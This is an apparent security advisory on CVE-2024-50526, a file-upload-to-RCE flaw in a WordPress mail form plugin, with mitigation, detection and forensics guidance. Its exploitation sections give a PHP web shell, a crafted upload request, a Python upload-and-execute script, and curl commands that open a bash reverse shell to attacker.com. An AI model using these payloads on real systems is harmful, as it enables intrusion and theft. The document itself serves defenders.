Comprehensive Technical Analysis of CVE-2024-50526

CVE ID: CVE-2024-50526 CVSS Score: 10.0 (Critical) Vulnerability Type: Unrestricted File Upload (Arbitrary File Upload Leading to Remote Code Execution - RCE) Affected Software: Multi Purpose Mail Form WordPress Plugin (versions ≤ 1.0.2)

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2024-50526 is a critical-severity vulnerability in the Multi Purpose Mail Form WordPress plugin, allowing unauthenticated attackers to upload arbitrary files—including web shells—to a vulnerable web server. The flaw stems from insufficient file type validation in the plugin’s file upload functionality, enabling attackers to bypass security controls and execute malicious code remotely.

CVSS v3.1 Vector Breakdown

Metric	Value	Explanation
AV	Network (N)	Exploitable remotely over the internet.
AC	Low (L)	No user interaction or authentication required.
PR	None (N)	No privileges required; unauthenticated exploitation.
UI	None (N)	No user interaction needed.
S	Unchanged (U)	Exploit affects only the vulnerable component.
C	High (H)	Complete compromise of confidentiality, integrity, and availability.
I	High (H)	Full system integrity compromise via arbitrary code execution.
A	High (H)	Full system availability compromise via denial-of-service or takeover.

Resulting Score: 10.0 (Critical) – This is a worst-case scenario vulnerability due to its zero-click, unauthenticated RCE potential.

Attack Complexity & Exploitability

• Exploitability: Trivial – No authentication, no user interaction, and publicly available proof-of-concept (PoC) exploits exist.
• Attack Surface: High – Any internet-facing WordPress site using the vulnerable plugin is at risk.
• Weaponization Potential: High – Attackers can automate exploitation for mass compromise (e.g., botnets, ransomware deployment).

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Flow

1. Identify Target:

   • Attackers scan for WordPress sites using Multi Purpose Mail Form (≤1.0.2) via:
     • Shodan/Censys queries (http.title:"WordPress" "Multi Purpose Mail Form")
     • WPScan (wpscan --url <target> --enumerate vp)
     • Google Dorking (inurl:/wp-content/plugins/multi-purpose-mail-form/)

2. Craft Malicious Payload:

   • Attackers prepare a web shell (e.g., PHP, ASP, JSP) with embedded backdoor functionality.
   • Example PHP web shell:

     <?php system($_GET['cmd']); ?>
     

   • Alternatively, attackers may upload reverse shell payloads (e.g., bash -i >& /dev/tcp/attacker.com/4444 0>&1).

3. Bypass File Upload Restrictions:

   • The plugin fails to validate file extensions, MIME types, or content.
   • Attackers can:
     • Rename malicious files (e.g., shell.jpg.php or shell.php5).
     • Use double extensions (e.g., payload.php.jpg).
     • Manipulate MIME types (e.g., Content-Type: image/jpeg for a .php file).

4. Upload & Execute:

   • The file is uploaded to a predictable directory (e.g., /wp-content/uploads/multi-purpose-mail-form/).
   • Attackers access the file directly (https://target.com/wp-content/uploads/multi-purpose-mail-form/shell.php?cmd=id).
   • Result: Remote Code Execution (RCE) with the privileges of the web server (e.g., www-data).

5. Post-Exploitation:

   • Lateral Movement: Attackers escalate privileges (e.g., via kernel exploits, misconfigurations).
   • Persistence: Install backdoors (e.g., cron jobs, hidden admin users).
   • Data Exfiltration: Steal database credentials, user data, or sensitive files.
   • Ransomware Deployment: Encrypt files and demand payment.

Publicly Available Exploits

• PoC Exploit (GitHub):
  • 0-click RCE Exploit for CVE-2024-50526 – Demonstrates automated exploitation without user interaction.
• Metasploit Module (Likely):
  • Given the severity, a Metasploit module may emerge, enabling mass exploitation.

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3. Affected Systems & Software Versions

Vulnerable Software

Plugin Name	Affected Versions	Fixed Version	Platform
Multi Purpose Mail Form	≤ 1.0.2	1.0.3+ (if available)	WordPress

Impacted Environments

• WordPress Websites: Any site using the vulnerable plugin.
• Hosting Providers: Shared hosting environments where multiple sites may be compromised.
• Enterprise CMS: Organizations using WordPress for internal/external communications.

Detection Methods

• Manual Check:
  • Verify plugin version in WordPress admin (/wp-admin/plugins.php).
  • Check for suspicious files in /wp-content/uploads/multi-purpose-mail-form/.
• Automated Scanning:
  • WPScan: wpscan --url <target> --enumerate vp
  • Nmap: nmap -sV --script http-wordpress-enum <target>
  • Burp Suite: Intercept file upload requests to test for validation flaws.

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4. Recommended Mitigation Strategies

Immediate Actions (Critical Priority)

1. Patch or Remove the Plugin:

   • Upgrade to the latest version (if available) immediately.
   • Disable/Remove the plugin if no patch exists (recommended until a fix is released).

2. Isolate & Monitor:

   • Quarantine affected servers if exploitation is suspected.
   • Enable logging for file uploads and web shell activity:

     tail -f /var/log/apache2/access.log | grep -E "\.php|\.jsp|\.asp"
     

3. Temporary Workarounds:

   • Disable File Uploads: Modify plugin settings to disable uploads if not required.
   • Restrict Upload Directories:
     • Set strict permissions (chmod 640 on upload directories).
     • Disable PHP execution in upload directories via .htaccess:

       <FilesMatch "\.(php|php5|phtml|phar)$">
           Deny from all
       </FilesMatch>
       

   • Web Application Firewall (WAF) Rules:
     • ModSecurity: Deploy OWASP CRS rules to block malicious uploads.
     • Cloudflare/WAF: Enable "File Upload Protection" and "RCE Protection."

Long-Term Remediation

1. Input Validation & Sanitization:

   • Whitelist allowed file types (e.g., .pdf, .jpg, .png).
   • Validate MIME types (e.g., finfo_file() in PHP).
   • Rename uploaded files to prevent direct execution (e.g., random_hash.pdf).

2. Server Hardening:

   • Disable dangerous PHP functions (exec, system, passthru, shell_exec) in php.ini.
   • Use a chroot jail for the web server process.
   • Enable PHP open_basedir to restrict file access.

3. Network-Level Protections:

   • Segment WordPress servers from internal networks.
   • Implement rate limiting to prevent brute-force upload attempts.

4. Continuous Monitoring:

   • File Integrity Monitoring (FIM): Tools like Tripwire or OSSEC to detect unauthorized file changes.
   • Endpoint Detection & Response (EDR): Monitor for suspicious process execution (e.g., php -r, bash -i).

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5. Impact on the Cybersecurity Landscape

Threat Actor Interest

• Opportunistic Attackers: Script kiddies and automated bots will exploit this for mass defacements, SEO spam, or cryptojacking.
• Advanced Persistent Threats (APTs): State-sponsored groups may use this for espionage or supply-chain attacks (e.g., compromising hosting providers).
• Ransomware Groups: Likely to incorporate this into initial access brokers (IABs) for ransomware deployment.

Broader Implications

• WordPress Ecosystem Risk:
  • Over 43% of all websites run WordPress, making this a high-impact vulnerability.
  • Similar flaws (e.g., CVE-2023-32243 in Essential Addons for Elementor) have led to large-scale compromises.
• Supply Chain Attacks:
  • If the plugin is used in SaaS platforms or managed WordPress hosts, a single compromise could affect thousands of sites.
• Regulatory & Compliance Risks:
  • GDPR, CCPA, HIPAA: Unauthorized data access could lead to legal penalties.
  • PCI DSS: If payment data is exposed, organizations may face fines and audits.

Historical Context

• This vulnerability follows a trend of critical WordPress plugin flaws (e.g., CVE-2023-6000, CVE-2024-27956) that enable unauthenticated RCE.
• Lessons Learned:
  • Plugin developers must enforce strict file upload controls.
  • Website owners must prioritize patch management and WAF deployments.

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability exists due to:

1. Lack of File Extension Validation:
   • The plugin does not check file extensions before saving uploads.
   • Example vulnerable code (simplified):

     $uploaded_file = $_FILES['file']['tmp_name'];
     $target_path = "uploads/" . basename($_FILES['file']['name']);
     move_uploaded_file($uploaded_file, $target_path); // No validation!
     

2. No MIME Type Verification:
   • The plugin trusts the Content-Type header without verifying the actual file content.
3. Predictable Upload Paths:
   • Files are saved in a static, guessable directory (/wp-content/uploads/multi-purpose-mail-form/).

Exploitation Technical Deep Dive

1. HTTP Request Example:

   POST /wp-admin/admin-ajax.php?action=mpmf_upload HTTP/1.1
   Host: vulnerable-site.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="shell.php"
   Content-Type: image/jpeg
   
   <?php system($_GET['cmd']); ?>
   ------WebKitFormBoundary--
   

2. Bypassing Weak Checks:
   • If the plugin checks for .php extensions, attackers can use:
     • Double extensions: shell.php.jpg
     • Null bytes: shell.php%00.jpg
     • Case manipulation: shell.PHP
3. Post-Exploitation Commands:
   • Check system info:

     curl "https://vulnerable-site.com/wp-content/uploads/multi-purpose-mail-form/shell.php?cmd=id"
     

   • Reverse Shell (Bash):

     curl "https://vulnerable-site.com/wp-content/uploads/multi-purpose-mail-form/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
     

   • Database Dump (MySQL):

     curl "https://vulnerable-site.com/wp-content/uploads/multi-purpose-mail-form/shell.php?cmd=mysqldump -u root -pPassword wordpress > dump.sql"
     

Detection & Forensics

1. Log Analysis:
   • Apache/Nginx Logs:

     grep -E "POST /wp-admin/admin-ajax.php.*mpmf_upload" /var/log/apache2/access.log
     

   • PHP Error Logs:

     grep -i "php" /var/log/php_error.log
     

2. File System Forensics:
   • Check for unexpected .php files in upload directories:

     find /var/www/html/wp-content/uploads/ -name "*.php" -type f
     

   • Look for hidden backdoors (e.g., eval(base64_decode(...))).
3. Network Forensics:
   • Wireshark/TShark: Capture suspicious outbound connections (e.g., reverse shells).
   • Zeek (Bro): Detect anomalous HTTP requests to uploaded files.

Proof-of-Concept (PoC) Analysis

The GitHub PoC demonstrates:

1. Automated Exploitation:
   • Uses Python to scan for vulnerable sites and upload a web shell.
2. Zero-Click RCE:
   • Exploits the flaw without any user interaction.
3. Post-Exploitation Modules:
   • Includes reverse shell payloads and privilege escalation checks.

Example PoC Workflow:

import requests

target = "http://vulnerable-site.com"
shell_url = f"{target}/wp-content/uploads/multi-purpose-mail-form/shell.php"

# Upload web shell
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg')}
response = requests.post(f"{target}/wp-admin/admin-ajax.php?action=mpmf_upload", files=files)

# Execute command
cmd = "id"
rce = requests.get(f"{shell_url}?cmd={cmd}")
print(rce.text)

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Conclusion & Recommendations

Key Takeaways

• CVE-2024-50526 is a critical, unauthenticated RCE vulnerability with trivial exploitation.
• All WordPress sites using Multi Purpose Mail Form ≤1.0.2 are at severe risk.
• Public PoCs and automated exploits are already available, increasing the urgency for patching.

Action Plan for Security Teams

Priority	Action	Owner	Timeline
Critical	Patch or remove the plugin	IT/Web Admins	Immediately
High	Deploy WAF rules to block malicious uploads	Security Team	Within 24h
High	Scan for indicators of compromise (IoCs)	SOC/IR Team	Within 48h
Medium	Harden WordPress and server configurations	DevOps	Within 1 week
Low	Monitor for new exploits and patches	Threat Intel	Ongoing

Final Recommendations

1. Assume Breach: If the plugin was used, investigate for signs of compromise.
2. Hunt for Web Shells: Use YARA rules or file integrity tools to detect backdoors.
3. Educate Developers: Enforce secure coding practices for file uploads.
4. Prepare for Zero-Days: WordPress plugins are frequent targets; maintain a patch management SLA.

This vulnerability is a prime example of why proactive security measures—such as WAFs, FIM, and regular vulnerability scanning—are essential in modern cybersecurity defenses.

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References:

• Patchstack Advisory
• GitHub PoC Exploit
• OWASP File Upload Security